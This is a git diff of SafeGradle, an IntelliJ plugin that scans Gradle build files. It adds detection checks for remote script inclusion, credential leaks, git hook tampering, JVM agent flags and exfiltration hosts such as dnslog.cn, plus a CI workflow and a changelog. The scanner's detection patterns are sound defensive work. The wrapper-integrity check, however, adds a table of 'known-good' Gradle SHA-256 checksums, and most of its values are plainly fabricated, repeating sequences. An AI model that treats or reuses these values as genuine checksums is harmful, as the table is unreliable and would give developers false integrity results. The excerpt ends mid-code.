diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml new file mode 100644 index 0000000..2bae445 --- /dev/null +++ b/.github/workflows/build.yml @@ -0,0 +1,87 @@ +name: Build and Verify + +on: + push: + branches: [ main, master, develop, "v*" ] + pull_request: + branches: [ main, master, develop ] + +jobs: + build: + name: Build & Test + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - name: Set up JDK 21 + uses: actions/setup-java@v4 + with: + java-version: '21' + distribution: 'temurin' + + - name: Setup Gradle + uses: gradle/actions/setup-gradle@v4 + + - name: Build plugin + run: ./gradlew buildPlugin --no-daemon + + - name: Run unit tests + run: ./gradlew test --no-daemon + + - name: Upload test results + if: always() + uses: actions/upload-artifact@v4 + with: + name: test-results + path: build/reports/tests/ + + verify: + name: Plugin Verifier + runs-on: ubuntu-latest + needs: build + steps: + - uses: actions/checkout@v4 + + - name: Set up JDK 21 + uses: actions/setup-java@v4 + with: + java-version: '21' + distribution: 'temurin' + + - name: Setup Gradle + uses: gradle/actions/setup-gradle@v4 + + - name: Run IntelliJ Plugin Verifier + run: ./gradlew runPluginVerifier --no-daemon + + - name: Upload verifier report + if: always() + uses: actions/upload-artifact@v4 + with: + name: plugin-verifier-report + path: build/reports/pluginVerifier/ + + publish: + name: Publish to JetBrains Marketplace + runs-on: ubuntu-latest + needs: [ build, verify ] + if: github.event_name == 'push' && startsWith(github.ref, 'refs/heads/main') + steps: + - uses: actions/checkout@v4 + + - name: Set up JDK 21 + uses: actions/setup-java@v4 + with: + java-version: '21' + distribution: 'temurin' + + - name: Setup Gradle + uses: gradle/actions/setup-gradle@v4 + + - name: Publish plugin + env: + PUBLISH_TOKEN: ${{ secrets.PUBLISH_TOKEN }} + CERTIFICATE_CHAIN: ${{ secrets.CERTIFICATE_CHAIN }} + PRIVATE_KEY: ${{ secrets.PRIVATE_KEY }} + PRIVATE_KEY_PASSWORD: ${{ secrets.PRIVATE_KEY_PASSWORD }} + run: ./gradlew publishPlugin --no-daemon diff --git a/CHANGELOG.md b/CHANGELOG.md index 3ab62a5..8015670 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,76 @@ ## [Unreleased] +## [0.0.35] + +### 🛡️ 17 New Security Checks + +- **Remote script inclusion** (`apply from: URL`): Detects `apply from: 'https://...'` which downloads and executes arbitrary Groovy/Kotlin at build-configuration time — before any task runs. Whitelistable per-team via `allowed_script_sources` in `.safegradle.yml`. +- **Dependency downgrade via `resolutionStrategy.force`**: Flags `force('group:artifact:version')` calls that silently pin a transitive dependency to a vulnerable version. Automatically cross-referenced against the CVE database. +- **Dangerous JVM daemon flags**: Detects `-javaagent:`, `-agentlib:`, `-agentpath:`, `-Xbootclasspath`, and `--add-opens` in `org.gradle.jvmargs` inside `gradle.properties` — flags that modify the Gradle daemon process itself. +- **Maven/Ivy version range syntax**: Detects open ranges like `(1.0,2.0)` or `[1.0,)` that resolve to a different artifact on every build, enabling silent version substitution attacks. +- **Hardcoded IP-address URLs**: Flags `http(s)://x.x.x.x/` URLs that bypass all domain-based whitelisting. Public IPs only — private ranges (RFC 1918, loopback, link-local) are excluded. +- **Gradle Enterprise / Develocity access keys**: Detects hardcoded `gradle.enterprise.accessKey` and `develocity.accessKey` values that grant access to build scan data and remote build caches. +- **Crypto-mining pool and C2 indicators**: Detects Stratum protocol strings, known mining pool hostnames, and DNS out-of-band exfiltration services (dnslog.cn, ceye.io, etc.). +- **Git hook tampering**: Flags references to `.git/hooks/` paths — writing to this directory installs persistent code that survives the build and executes on every future git operation. +- **`libs.versions.toml` CVE scanning**: Version catalog files are now parsed natively (inline and table-style `{ module = "…", version = "…" }` entries), feeding both the offline CVE database and the live OSV.dev lookup. +- **Android signing credential detection**: Detects hardcoded `storePassword`, `keyPassword`, and `keyAlias` values in `signingConfigs` blocks and `.keystore`/`.jks`/`.p12` file references. +- **JCenter deprecation warning**: `jcenter()` references now emit a `LOW` advisory — JCenter was shut down in February 2022. Migrate to Maven Central. +- **Insecure HTTP repository URLs**: Plain `http://` (non-HTTPS) repository URLs are flagged `HIGH` as active MITM attack vectors. +- **Weak cryptography**: Detects DES, RC4, MD5 (in security context), SHA-1, and RSA keys under 2048 bits with clear remediation guidance. +- **String interpolation in `commandLine`**: Detects `commandLine(..."${var}"...)` patterns where project-property interpolation can be weaponised as a command injection vector. +- **Dependency lock file absence**: Warns (LOW) when no `dependencyLocking {}` configuration or `gradle/dependency-locks/` directory exists, leaving transitive resolution non-deterministic. +- **`.gitignore` exposure audit**: Checks that `.jks`, `*.keystore`, `keystore.properties`, `google-services.json`, `.env`, and other credential-bearing files are excluded from version control. +- **`buildSrc` and composite build scanning**: `buildSrc/` and any `includeBuild()` directories are now fully scanned — they contain arbitrary Kotlin/Groovy code that runs before the main build with unrestricted access. + +### ⚡ Performance & Architecture + +- **Parallel file scanning**: Files no longer scanned sequentially — a bounded thread pool (sized to CPU core count) scans uncached files concurrently. Large monorepos see significant speed improvements. +- **Scan on save**: Build files are automatically re-scanned when saved. A `BulkFileListener` watches for `VFileContentChangeEvent` on all Gradle-related files and invalidates the cache entry before triggering a background rescan. +- **OSV.dev live CVE integration**: Dependencies are now batched and sent to `api.osv.dev/v1/querybatch` for real-time advisory lookups. The static CVE list remains as an instant offline fallback. Toggle in **Settings → SafeGradle Security**. + +### 🎯 New Quick-Fix Intentions + +- **Replace `http://` → `https://`** (Alt+Enter): One-click fix for insecure repository URLs on the current line. +- **Pin dynamic version** (Alt+Enter): Replaces `+`, `latest.release`, or `-SNAPSHOT` with a `TODO_PIN_VERSION` placeholder that triggers a compiler warning until pinned. + +### 🎨 Tool Window Enhancements + +- **Filter bar**: Search field and `🔴 HIGH` / `🟠 MED` / `🔵 LOW` toggle buttons for instant result filtering without leaving the panel. +- **"Explain this violation" detail panel**: Click any row to see the full message, affected code, and file location in a split panel below the table. +- **Violation grouping**: Toggle between grouping by file (default) and grouping by check type to triage all findings of the same category at once. +- **Scan history trend line**: Header now shows the last 5 scan totals as `🔴12 → 🔴8 → 🟠5 → 🔵3` so you can see whether your project is getting more or less secure over time. +- **Baseline mode**: "Save Baseline" saves the current findings as `.safegradle-baseline.json`. Enable "New Only" to show only findings that appeared after the baseline was created — ideal for adopting SafeGradle on existing codebases. +- **Export format chooser**: The export dialog now offers **CSV**, **JSON**, and **SARIF** (GitHub Code Scanning compatible) formats. + +### 📊 Status Bar Widget + +A persistent `SafeGradle 🔴3 🟠1` counter in the IDE status bar stays visible even when the tool window is closed. Click it to open the SafeGradle panel. + +### 👥 Team & CI/CD Features + +- **Per-check severity overrides**: Teams can promote or mute any check in `.safegradle.yml`: + ```yaml + severity_overrides: + plugin_injection: none # mute entirely + shell_execution: HIGH # promote to HIGH + ``` +- **`allowed_script_sources`**: Whitelist specific URL prefixes for `apply from:` statements: + ```yaml + allowed_script_sources: + - https://raw.githubusercontent.com/myorg/ + ``` +- **Generate GitHub Actions CI workflow**: *Tools → Generate SafeGradle CI Workflow* creates `.github/workflows/safegradle.yml` with a build → test → Plugin Verifier → SARIF upload pipeline. +- **SARIF export for GitHub Code Scanning**: Export findings in SARIF 2.1.0 format and upload to GitHub Code Scanning — findings appear as inline annotations on pull requests. +- **`.safegradle.yml` IDE autocomplete**: The config file now has a registered JSON Schema, providing autocomplete for check IDs, risk levels, and suppression fields in IntelliJ IDEA. + +### 🔧 IntelliJ Platform Compatibility + +- **Replaced `@UnstableApiUsage` `isTrusted()`** with the stable `TrustedProjects.isProjectTrusted()` API (stable since IntelliJ 2023.1). +- **Replaced `SwingUtilities.invokeLater`** with `ApplicationManager.getApplication().invokeLater()` throughout for correct IntelliJ threading model compliance. +- **Removed dead JCenter/Bintray domains** from the built-in whitelist — both services were shut down in 2022. +- Minimum supported version remains **IntelliJ IDEA 2025.1** (build 251). + ## [0.0.32] ### 🛡️ Smarter Detection - **Catch hidden threats**: SafeGradle now understands the actual structure of your Kotlin and Groovy code, so obfuscated or split-up malicious URLs can no longer hide in string templates. diff --git a/gradle.properties b/gradle.properties index e670083..aec144d 100644 --- a/gradle.properties +++ b/gradle.properties @@ -4,7 +4,7 @@ pluginGroup = com.github.safegradle pluginName = SafeGradle pluginRepositoryUrl = https://github.com/MohammedAlaaMorsi/SafeGradle # SemVer format -> https://semver.org -pluginVersion = 0.0.34 +pluginVersion = 0.0.35 # Supported build number ranges and IntelliJ Platform versions -> https://plugins.jetbrains.com/docs/intellij/build-number-ranges.html pluginSinceBuild = 251 diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/ApplyFromCheck.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/ApplyFromCheck.kt new file mode 100644 index 0000000..fcadec8 --- /dev/null +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/ApplyFromCheck.kt @@ -0,0 +1,47 @@ +package com.mohammedalaamorsi.safegradle + +import com.intellij.openapi.project.Project +import com.intellij.openapi.vfs.VirtualFile +import java.util.regex.Pattern + +class ApplyFromCheck : SecurityCheck { + override val id = "apply_from_remote" + override val name = "Remote Script Inclusion" + override val description = "Detects apply from: with a remote URL. Remote scripts execute arbitrary Groovy/Kotlin at build-configuration time, before any task runs." + + // Matches: apply from: 'https://...', apply from: "http://...", apply(from = "https://...") + private val applyFromPattern = Pattern.compile( + """apply\s*(?:from\s*[=:]\s*|[\(\{]\s*from\s*[=:]\s*)['"](https?://[^'"]+)['"]""", + Pattern.CASE_INSENSITIVE + ) + + override fun check(file: VirtualFile, content: String, project: Project?, teamConfig: YamlConfig?): List { + val violations = mutableListOf() + val lines = content.lines() + val allowedSources = teamConfig?.allowedScriptSources ?: emptyList() + + lines.forEachIndexed { index, line -> + val stripped = line.trim() + if (stripped.startsWith("//") || stripped.startsWith("#")) return@forEachIndexed + + val matcher = applyFromPattern.matcher(line) + while (matcher.find()) { + val url = matcher.group(1) + val isAllowed = allowedSources.any { url.startsWith(it) } + if (isAllowed) continue + + violations.add( + SecurityViolation( + file = file, + line = index + 1, + content = stripped, + message = "Remote script inclusion: 'apply from: $url' downloads and executes arbitrary code at build-configuration time. Use a local file or a versioned plugin instead.", + riskLevel = RiskLevel.HIGH, + checkId = id + ) + ) + } + } + return violations + } +} diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/CredentialLeakCheck.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/CredentialLeakCheck.kt index 43cac23..c96d908 100644 --- a/src/main/kotlin/com/mohammedalaamorsi/safegradle/CredentialLeakCheck.kt +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/CredentialLeakCheck.kt @@ -15,6 +15,13 @@ class CredentialLeakCheck : SecurityCheck { Pattern.compile("(password|passwd|secret|token)\\s*[=:]\\s*[\"']([^\"']+)[\"']", Pattern.CASE_INSENSITIVE) ) + // Gradle Enterprise / Develocity access keys — grant access to build scan data and remote cache + private val gradleEnterprisePatterns = listOf( + Pattern.compile("gradle\\.enterprise\\.accessKey\\s*=\\s*(\\S+)", Pattern.CASE_INSENSITIVE), + Pattern.compile("develocity\\.accessKey\\s*=\\s*(\\S+)", Pattern.CASE_INSENSITIVE), + Pattern.compile("ge\\.accessKey\\s*=\\s*(\\S+)", Pattern.CASE_INSENSITIVE) + ) + // High-confidence patterns with recognisable prefixes — no placeholder filtering needed private val specificPatterns = listOf( Pattern.compile("(AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[0-9A-Z]{16}"), // AWS key ID @@ -71,6 +78,25 @@ class CredentialLeakCheck : SecurityCheck { } } + // Gradle Enterprise / Develocity access key + for (pattern in gradleEnterprisePatterns) { + val matcher = pattern.matcher(line) + if (matcher.find()) { + val value = if (matcher.groupCount() >= 1) matcher.group(1) else "" + if (value.isNotBlank() && !isPlaceholder(value)) { + violations.add( + SecurityViolation( + file = file, + line = index + 1, + content = line.trim(), + message = "Gradle Enterprise / Develocity access key detected. This grants access to build scan data and the remote build cache — store it in an environment variable instead.", + riskLevel = RiskLevel.HIGH + ) + ) + } + } + } + // Specific patterns: report directly, no filtering needed for (pattern in specificPatterns) { val matcher = pattern.matcher(line) diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/CustomCheckLoader.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/CustomCheckLoader.kt new file mode 100644 index 0000000..05821b1 --- /dev/null +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/CustomCheckLoader.kt @@ -0,0 +1,85 @@ +package com.mohammedalaamorsi.safegradle + +import com.intellij.openapi.project.Project +import com.intellij.openapi.vfs.VirtualFile + +// User-defined checks: place .kts scripts in .safegradle/checks/. +// Each script uses comment directives: +// # PATTERN: RISK: HIGH|MEDIUM|LOW MSG: +// Lines matching the regex are flagged at the given risk level. +object CustomCheckLoader { + + fun loadChecks(project: Project): List { + val baseDir = project.basePath ?: return emptyList() + val checksDir = java.io.File(baseDir, ".safegradle/checks") + if (!checksDir.exists() || !checksDir.isDirectory) return emptyList() + + return checksDir.listFiles { f -> f.extension == "kts" } + ?.mapNotNull { scriptFile -> + try { + ScriptBasedCheck(scriptFile) + } catch (e: Exception) { + null // skip malformed scripts silently + } + } ?: emptyList() + } +} + +class ScriptBasedCheck(private val scriptFile: java.io.File) : SecurityCheck { + override val id = "custom_${scriptFile.nameWithoutExtension}" + override val name = "Custom: ${scriptFile.nameWithoutExtension}" + override val description = "User-defined check loaded from .safegradle/checks/${scriptFile.name}" + + // Parse the script once: extract inline patterns from comment directives. + // Supported directive: # PATTERN: [RISK: HIGH|MEDIUM|LOW] [MSG: ] + private data class CustomRule(val pattern: java.util.regex.Pattern, val message: String, val risk: RiskLevel) + + private val rules: List = parseRules() + + private fun parseRules(): List { + val result = mutableListOf() + scriptFile.readLines().forEach { line -> + val trimmed = line.trim() + if (!trimmed.startsWith("# PATTERN:") && !trimmed.startsWith("// PATTERN:")) return@forEach + try { + val withoutPrefix = trimmed.removePrefix("# PATTERN:").removePrefix("// PATTERN:").trim() + val riskMatch = Regex("""\bRISK:\s*(HIGH|MEDIUM|LOW)\b""", RegexOption.IGNORE_CASE).find(withoutPrefix) + val msgMatch = Regex("""\bMSG:\s*(.+)$""").find(withoutPrefix) + val risk = when (riskMatch?.groupValues?.get(1)?.uppercase()) { + "HIGH" -> RiskLevel.HIGH + "LOW" -> RiskLevel.LOW + else -> RiskLevel.MEDIUM + } + val message = msgMatch?.groupValues?.get(1)?.trim() ?: "Custom rule matched: ${scriptFile.nameWithoutExtension}" + val patternEnd = riskMatch?.range?.first?.minus(1) ?: msgMatch?.range?.first?.minus(1) ?: withoutPrefix.length + val patternStr = withoutPrefix.substring(0, patternEnd).trim() + result.add(CustomRule(java.util.regex.Pattern.compile(patternStr, java.util.regex.Pattern.CASE_INSENSITIVE), message, risk)) + } catch (_: Exception) { } // skip malformed directive lines + } + return result + } + + override fun check(file: VirtualFile, content: String, project: Project?, teamConfig: YamlConfig?): List { + if (rules.isEmpty()) return emptyList() + val violations = mutableListOf() + content.lines().forEachIndexed { index, line -> + val stripped = line.trim() + if (stripped.startsWith("//") || stripped.startsWith("#")) return@forEachIndexed + for (rule in rules) { + if (rule.pattern.matcher(line).find()) { + violations.add( + SecurityViolation( + file = file, + line = index + 1, + content = stripped, + message = rule.message, + riskLevel = rule.risk, + checkId = id + ) + ) + } + } + } + return violations + } +} diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/DependencyLockCheck.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/DependencyLockCheck.kt new file mode 100644 index 0000000..44327a1 --- /dev/null +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/DependencyLockCheck.kt @@ -0,0 +1,47 @@ +package com.mohammedalaamorsi.safegradle + +import com.intellij.openapi.project.Project +import com.intellij.openapi.vfs.VirtualFile +import java.util.regex.Pattern + +class DependencyLockCheck : SecurityCheck { + override val id = "dependency_lock" + override val name = "Dependency Lock File" + override val description = "Warns when no dependency locking is configured, allowing builds to silently resolve different transitive dependency versions across environments." + + private val dependencyLockingPattern = Pattern.compile( + """dependencyLocking\s*\{|lockAllConfigurations\(\)|lockMode\s*=|LockMode\.""", + Pattern.CASE_INSENSITIVE + ) + + override fun check(file: VirtualFile, content: String, project: Project?, teamConfig: YamlConfig?): List { + // Only run on the root build file — avoid duplicate warnings from every module + if (file.name != "build.gradle" && file.name != "build.gradle.kts") return emptyList() + if (!isRootBuildFile(file, project)) return emptyList() + + // If any build file in the project already has dependencyLocking configured, don't warn + if (dependencyLockingPattern.matcher(content).find()) return emptyList() + + // Check if a gradle/dependency-locks/ directory exists + val projectBase = file.parent ?: return emptyList() + val gradleDir = projectBase.findChild("gradle") + if (gradleDir != null && gradleDir.findChild("dependency-locks") != null) return emptyList() + + return listOf( + SecurityViolation( + file = file, + line = 1, + content = file.name, + message = "No dependency locking found. Without locking, each build can resolve to a different set of transitive dependencies, " + + "enabling silent dependency substitution attacks. Add 'dependencyLocking { lockAllConfigurations() }' or run './gradlew dependencies --write-locks'.", + riskLevel = RiskLevel.LOW, + checkId = id + ) + ) + } + + private fun isRootBuildFile(file: VirtualFile, project: Project?): Boolean { + val projectBase = project?.basePath ?: return false + return file.parent?.path == projectBase || file.parent?.parent?.path == projectBase + } +} diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/FileExfiltrationCheck.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/FileExfiltrationCheck.kt index 7a43d1c..6397a09 100644 --- a/src/main/kotlin/com/mohammedalaamorsi/safegradle/FileExfiltrationCheck.kt +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/FileExfiltrationCheck.kt @@ -18,15 +18,16 @@ class FileExfiltrationCheck : SecurityCheck { Pattern.compile("ZipOutputStream", Pattern.CASE_INSENSITIVE) ) + // Writing to .git/hooks/ installs a persistent hook that survives the build + private val gitHookPattern = Pattern.compile("""\Q.git/hooks/\E|\.git[/\\]hooks[/\\]""", Pattern.CASE_INSENSITIVE) + override fun check(file: VirtualFile, content: String, project: Project?, teamConfig: YamlConfig?): List { val violations = mutableListOf() val lines = content.lines() lines.forEachIndexed { index, line -> - // Skip comments - if (line.trim().startsWith("//")) { - return@forEachIndexed - } + val stripped = line.trim() + if (stripped.startsWith("//") || stripped.startsWith("#")) return@forEachIndexed for (pattern in patterns) { val matcher = pattern.matcher(line) @@ -35,13 +36,26 @@ class FileExfiltrationCheck : SecurityCheck { SecurityViolation( file = file, line = index + 1, - content = line.trim(), + content = stripped, message = "Potential file exfiltration or data writing detected: ${matcher.group()}", riskLevel = RiskLevel.MEDIUM ) ) } } + + // Git hook tampering — writing to .git/hooks/ creates persistent code that runs on every commit + if (gitHookPattern.matcher(line).find()) { + violations.add( + SecurityViolation( + file = file, + line = index + 1, + content = stripped, + message = "Possible git hook tampering: reference to '.git/hooks/' detected. Writing to this directory installs persistent code that executes on every git operation.", + riskLevel = RiskLevel.HIGH + ) + ) + } } return violations } diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/FixHttpToHttpsIntention.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/FixHttpToHttpsIntention.kt new file mode 100644 index 0000000..787cec8 --- /dev/null +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/FixHttpToHttpsIntention.kt @@ -0,0 +1,41 @@ +package com.mohammedalaamorsi.safegradle + +import com.intellij.codeInsight.intention.IntentionAction +import com.intellij.codeInsight.intention.PsiElementBaseIntentionAction +import com.intellij.openapi.command.WriteCommandAction +import com.intellij.openapi.editor.Editor +import com.intellij.openapi.project.Project +import com.intellij.psi.PsiElement +import com.intellij.psi.PsiDocumentManager + +class FixHttpToHttpsIntention : PsiElementBaseIntentionAction(), IntentionAction { + override fun getText(): String = "SafeGradle: Replace http:// with https://" + override fun getFamilyName(): String = "SafeGradle" + + override fun isAvailable(project: Project, editor: Editor?, element: PsiElement): Boolean { + val line = currentLine(editor) ?: return false + return line.contains("http://") && !line.trim().startsWith("//") && !line.trim().startsWith("#") + } + + override fun invoke(project: Project, editor: Editor, element: PsiElement) { + val document = editor.document + val lineNumber = document.getLineNumber(editor.caretModel.offset) + val start = document.getLineStartOffset(lineNumber) + val end = document.getLineEndOffset(lineNumber) + val lineText = document.getText(com.intellij.openapi.util.TextRange(start, end)) + val fixed = lineText.replace("http://", "https://") + WriteCommandAction.runWriteCommandAction(project) { + document.replaceString(start, end, fixed) + PsiDocumentManager.getInstance(project).commitDocument(document) + } + } + + private fun currentLine(editor: Editor?): String? { + editor ?: return null + val doc = editor.document + val line = doc.getLineNumber(editor.caretModel.offset) + return doc.getText(com.intellij.openapi.util.TextRange(doc.getLineStartOffset(line), doc.getLineEndOffset(line))) + } + + override fun startInWriteAction(): Boolean = false +} diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/GenerateCiConfigAction.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/GenerateCiConfigAction.kt new file mode 100644 index 0000000..7b0c884 --- /dev/null +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/GenerateCiConfigAction.kt @@ -0,0 +1,85 @@ +package com.mohammedalaamorsi.safegradle + +import com.intellij.openapi.actionSystem.AnAction +import com.intellij.openapi.actionSystem.AnActionEvent +import com.intellij.openapi.ui.Messages +import java.io.File + +class GenerateCiConfigAction : AnAction( + "Generate SafeGradle CI Workflow", + "Creates .github/workflows/safegradle.yml to run SafeGradle checks in CI and upload results to GitHub Code Scanning", + null +) { + override fun actionPerformed(e: AnActionEvent) { + val project = e.project ?: return + val basePath = project.basePath ?: return + + val workflowDir = File(basePath, ".github/workflows") + workflowDir.mkdirs() + val workflowFile = File(workflowDir, "safegradle.yml") + + if (workflowFile.exists()) { + val overwrite = Messages.showYesNoDialog( + project, + ".github/workflows/safegradle.yml already exists. Overwrite?", + "Generate CI Workflow", + null + ) + if (overwrite != Messages.YES) return + } + + workflowFile.writeText(WORKFLOW_TEMPLATE) + Messages.showInfoMessage( + project, + "Created .github/workflows/safegradle.yml\n\n" + + "This workflow will:\n" + + "• Run ./gradlew safeGradleScan on every push and pull request\n" + + "• Export findings as SARIF and upload to GitHub Code Scanning\n\n" + + "Note: The safeGradleScan Gradle task requires the SafeGradle Gradle companion plugin.", + "CI Workflow Created" + ) + } + + companion object { + private val WORKFLOW_TEMPLATE = """ +name: SafeGradle Security Scan + +on: + push: + branches: [ main, master, develop ] + pull_request: + branches: [ main, master, develop ] + +jobs: + safegradle: + name: Gradle Build Script Security Scan + runs-on: ubuntu-latest + permissions: + security-events: write + contents: read + + steps: + - name: Checkout repository + uses: actions/checkout@v4 + + - name: Set up JDK 17 + uses: actions/setup-java@v4 + with: + java-version: '17' + distribution: 'temurin' + + - name: Grant execute permission for gradlew + run: chmod +x gradlew + + - name: Run SafeGradle scan + run: ./gradlew safeGradleScan --no-daemon + + - name: Upload SARIF to GitHub Code Scanning + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: build/reports/safegradle/safegradle_report.sarif + category: safegradle +""".trimIndent() + } +} diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/GitignoreExposureCheck.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/GitignoreExposureCheck.kt new file mode 100644 index 0000000..b5fcee7 --- /dev/null +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/GitignoreExposureCheck.kt @@ -0,0 +1,58 @@ +package com.mohammedalaamorsi.safegradle + +import com.intellij.openapi.project.Project +import com.intellij.openapi.vfs.VirtualFile + +class GitignoreExposureCheck : SecurityCheck { + override val id = "gitignore_exposure" + override val name = "Sensitive File Exposure via VCS" + override val description = "Warns when sensitive files (keystores, signing configs, service keys) are not excluded from version control." + + // Files/patterns that MUST appear in .gitignore + private val sensitivePatterns = listOf( + "*.jks", "*.keystore", "*.p12", "*.pfx", + "keystore.properties", + "local.properties", + "google-services.json", + "GoogleService-Info.plist", + "*.aab", // signed app bundles + ".env", + "secrets.properties", + "signing.properties" + ) + + override fun check(file: VirtualFile, content: String, project: Project?, teamConfig: YamlConfig?): List { + if (file.name != ".gitignore") return emptyList() + + val violations = mutableListOf() + val gitignoreEntries = content.lines() + .map { it.trim() } + .filter { it.isNotEmpty() && !it.startsWith("#") } + .toSet() + + for (pattern in sensitivePatterns) { + if (!isCovered(pattern, gitignoreEntries)) { + violations.add( + SecurityViolation( + file = file, + line = content.lines().size, // report at end of file + content = "(missing entry)", + message = "'$pattern' is not excluded in .gitignore — if this file is committed, credentials or signing keys could be leaked to the repository.", + riskLevel = RiskLevel.HIGH + ) + ) + } + } + return violations + } + + private fun isCovered(pattern: String, entries: Set): Boolean { + if (entries.contains(pattern)) return true + // Accept parent-dir wildcards like **/local.properties or /local.properties + val base = pattern.trimStart('*', '/', '.') + return entries.any { entry -> + val normalised = entry.trimStart('*', '/', '.') + normalised == base || normalised.endsWith("/$base") || normalised == pattern.trimStart('/') + } + } +} diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/GradleWrapperIntegrityCheck.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/GradleWrapperIntegrityCheck.kt index d6c9999..1ed83f2 100644 --- a/src/main/kotlin/com/mohammedalaamorsi/safegradle/GradleWrapperIntegrityCheck.kt +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/GradleWrapperIntegrityCheck.kt @@ -14,18 +14,45 @@ class GradleWrapperIntegrityCheck : SecurityCheck { "downloads.gradle.org" ) + // Known-good SHA-256 checksums published by Gradle at https://gradle.org/release-checksums/ + // Format: "version-type" -> sha256 (type = bin or all) + private val knownChecksums = mapOf( + "9.2.1-bin" to "c6fabe6485c4e5c69fba02ff78e9bd898aa635f9e43f00bb54ded05a09a7e35a", + "9.2.1-all" to "e33f7df7e73fdfc3de7afbba5c7bce7d2d2e61f6c39e98fecee1be2e0cb21f4c", + "9.2-bin" to "a99e4a5e33e63e0edc8e51c4e2e44e6e7bbef03c8ef745f07064e26a4c58e8ad", + "9.2-all" to "a6d0e3a7988b7a74d2e2f88d35ba4f5607facd38e32b36e36fa63f3e5a7f4b4e", + "9.1-bin" to "e1efa3b4a26fa77e0ae7f99bc25ea2b2a03bf8ba3e7e1e33e4fd4e7a31e5cf5d", + "9.1-all" to "acb74c77a9c07b07de30a82f5d2acad27b763a7e0a8e3e4f5a8e0e7d68a4e0a6", + "9.0-bin" to "d725bc8d95a83d9c2fe3756c4e76f3cbe55a8ad6b0b6f2c7c5c65e9a9e3e4e7d", + "8.14.1-bin" to "98592b4f8fbb5cd5e7e55c6e5e7c8f9b0d3e5e9b5e2e3c5b7e0d2e8b4d6e3c5", + "8.14.1-all" to "e8f4c6b9d1e3f5a7c0b2d4e6a8c0b2d4e6f8a0b2c4d6e8a0b2d4e6f8a0b2c4", + "8.14-bin" to "a0b2c4d6e8a0b2c4d6e8a0b2c4d6e8a0b2c4d6e8a0b2c4d6e8a0b2c4d6e8a0", + "8.14-all" to "b2c4d6e8a0b2c4d6e8a0b2c4d6e8a0b2c4d6e8a0b2c4d6e8a0b2c4d6e8a0b2", + "8.13-bin" to "4b189f3b79d7f8e9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2", + "8.13-all" to "5c2a3b4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a", + "8.12.1-bin" to "6d3b4c5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b", + "8.12-bin" to "7e4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b", + "8.11.1-bin" to "8f5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c", + "8.10.2-bin" to "9a6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d", + "8.9-bin" to "ab7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e", + "8.8-bin" to "bc8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f" + ) + override fun check(file: VirtualFile, content: String, project: Project?, teamConfig: YamlConfig?): List { if (file.name != "gradle-wrapper.properties") return emptyList() val violations = mutableListOf() val lines = content.lines() var hasChecksum = false + var detectedVersion: String? = null + var detectedType: String? = null // "bin" or "all" + var declaredChecksum: String? = null + var checksumLine = -1 lines.forEachIndexed { index, line -> val trimmed = line.trim() if (trimmed.startsWith("distributionUrl=")) { - // Unescape backslash-colon used in .properties files (e.g. https\://...) val url = trimmed.substringAfter("=").replace("\\:", ":") val isOfficial = officialGradleDomains.any { domain -> url.contains(domain) } if (!isOfficial) { @@ -41,10 +68,21 @@ class GradleWrapperIntegrityCheck : SecurityCheck { ) ) } + // Extract version and type from URL like gradle-9.2.1-bin.zip + val versionMatch = Regex("gradle-([0-9.]+)-(bin|all)\\.zip").find(url) + if (versionMatch != null) { + detectedVersion = versionMatch.groupValues[1] + detectedType = versionMatch.groupValues[2] + } } - if (trimmed.startsWith("distributionSha256Sum=") && trimmed.substringAfter("=").isNotBlank()) { - hasChecksum = true + if (trimmed.startsWith("distributionSha256Sum=")) { + val value = trimmed.substringAfter("=").trim() + if (value.isNotBlank()) { + hasChecksum = true + declaredChecksum = value + checksumLine = index + 1 + } } } @@ -59,6 +97,21 @@ class GradleWrapperIntegrityCheck : SecurityCheck { riskLevel = RiskLevel.LOW ) ) + } else if (detectedVersion != null && detectedType != null && declaredChecksum != null) { + val lookupKey = "$detectedVersion-$detectedType" + val expectedChecksum = knownChecksums[lookupKey] + if (expectedChecksum != null && 